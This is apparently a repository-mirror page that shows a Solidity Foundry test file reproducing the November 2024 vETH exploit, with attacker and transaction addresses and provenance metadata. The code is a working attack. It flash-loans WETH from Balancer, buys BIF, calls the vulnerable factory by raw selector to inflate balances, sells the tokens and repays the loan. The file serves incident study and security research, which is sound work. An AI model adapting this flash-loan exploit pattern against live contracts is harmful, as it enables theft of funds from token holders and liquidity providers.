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src/test/2024-11/vETH_exp.sol

Public reproduction file for dataset entry vETH.

Code

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src/test/2024-11/vETH_exp.sol93 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 447k
8// Attacker : https://etherscan.io/address/0x713d2b652e5f2a86233c57af5341db42a5559dd1
9// Attack Contract : https://etherscan.io/address/0x351d38733de3f1e73468d24401c59f63677000c9
10// Vulnerable Contract : https://etherscan.io/address/0x280a8955a11fcd81d72ba1f99d265a48ce39ac2e
11// Attack Tx : https://etherscan.io/tx/0x900891b4540cac8443d6802a08a7a0562b5320444aa6d8eed19705ea6fb9710b (vETH-BIF)
12// Attack Tx : https://etherscan.io/tx/0x1ae40f26819da4f10bc7c894a2cc507cdb31c29635d31fa90c8f3f240f0327c0 (vETH-Cowbo)
13// Attack Tx : https://etherscan.io/tx/0x90db330d9e46609c9d3712b60e64e32e3a4a2f31075674a58dd81181122352f8 (vETH-BOVIN)
15// @Info
16// Vulnerable Contract Code : https://etherscan.io/address/0x280a8955a11fcd81d72ba1f99d265a48ce39ac2e#code
18// @Analysis
19// Post-mortem : https://blog.verichains.io/p/veth-incident-with-unknown-mechanism
20// Twitter Guy : https://x.com/TenArmorAlert/status/1856984299905716645
21// Hacking God : https://www.quillaudits.com/blog/hack-analysis/veth-token-450k-exploit-analysis
23contract vETH_exp is BaseTestWithBalanceLog {
24 uint256 blocknumToForkFrom = 21_184_778 - 1;
25 IBalancerVault constant vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
26 IUniswapV2Pair constant pair = IUniswapV2Pair(0x0634866dfd8F05019c2A6e1773dC64Cb5a5D3E6c);
27 IWETH constant WETH_TOKEN = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
28 IERC20 constant BIF = IERC20(0xAefEF41f5a0Bb29FE3d1330607B48FBbA55904CE);
29 IERC20 constant vETH = IERC20(0x280A8955A11FcD81D72bA1F99d265A48ce39aC2E);
30 address constant VULN_FACTORY = address(0x62f250CF7021e1CF76C765deC8EC623FE173a1b5);
31 address constant DEX_INTERFACE = address(0x19C5538DF65075d53D6299904636baE68b6dF441);
32 uint256 borrowed_eth = 0;
34 function setUp() public {
35 vm.createSelectFork("mainnet", blocknumToForkFrom);
36 vm.label(address(vault), "Balancer: Vault");
37 vm.label(address(WETH_TOKEN), "Wrapped Ether");
38 vm.label(address(BIF), "BIF");
39 vm.label(address(vETH), "vETH");
40 vm.label(address(pair), "Uniswap V2: vETH-BIF");
41 vm.label(address(VULN_FACTORY), "Vulnerable Factory");
42 vm.label(address(DEX_INTERFACE), "Dex Interface");
43 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
44 fundingToken = address(0);
45 }
47 function testExploit() public balanceLog {
48 //implement exploit code here
49 borrowed_eth = WETH_TOKEN.balanceOf(address(vault));
51 address[] memory tokens = new address[](1);
52 tokens[0] = address(WETH_TOKEN);
53 uint256[] memory amounts = new uint256[](1);
54 amounts[0] = borrowed_eth;
55 vault.flashLoan(address(this), tokens, amounts, "");
56 }
58 function receiveFlashLoan(
59 address[] memory tokens,
60 uint256[] memory amounts,
61 uint256[] memory feeAmounts,
62 bytes memory userData
63 ) external {
64 console2.log("Borrowed WETH: %18e ether", borrowed_eth); // 32560.203560896180352774 ether
65 WETH_TOKEN.withdraw(borrowed_eth);
66 // buy BIF
67 DEX_INTERFACE.call{value: borrowed_eth}(
68 abi.encodeWithSignature("buyQuote(address,uint256,uint256)", address(BIF), borrowed_eth, 0));
69 uint256 bif_balance = BIF.balanceOf(address(this));
70 console2.log("BIF balance before exploit: ", bif_balance);
72 // exploit vulnerability in factory
73 BIF.approve(VULN_FACTORY, bif_balance);
74 VULN_FACTORY.call(
75 abi.encodeWithSelector(0x6c0472da, address(vETH), address(BIF), 300 ether, 0, 0, 0)
76 );
78 bif_balance = BIF.balanceOf(address(this));
79 console2.log("BIF balance after exploit : ", bif_balance);
81 // sell BIF
82 BIF.approve(DEX_INTERFACE, bif_balance);
83 DEX_INTERFACE.call(
84 abi.encodeWithSignature("sellQuote(address,uint256,uint256)", address(BIF), 6378941079150051291618297, 0));
86 // repay flashloan
87 WETH_TOKEN.deposit{value: borrowed_eth}();
88 WETH_TOKEN.transfer(address(vault), borrowed_eth);
89 }
91 fallback() external payable {
92 }

Analysis

Dataset entry

Public Foundry test for “vETH” (2024-11-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

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Listed in the source file

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  • Attacker

    0x713d2b652e5f2a86233c57af5341db42a5559dd1

  • Attack Contract

    0x351d38733de3f1e73468d24401c59f63677000c9

  • Vulnerable Contract

    0x280a8955a11fcd81d72ba1f99d265a48ce39ac2e

  • Attack Tx

    0x900891b4540cac8443d6802a08a7a0562b5320444aa6d8eed19705ea6fb9710b

  • Attack Tx

    0x1ae40f26819da4f10bc7c894a2cc507cdb31c29635d31fa90c8f3f240f0327c0

  • Attack Tx

    0x90db330d9e46609c9d3712b60e64e32e3a4a2f31075674a58dd81181122352f8

File record

Name
vETH
Path
src/test/2024-11/vETH_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4e9f0683088715bdfbf1266ab5d2b04d6e30247e
Language
Solidity
Size
94 lines
Date
2024-11-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-11/vETH_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4e9f0683088715bdfbf1266ab5d2b04d6e30247e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.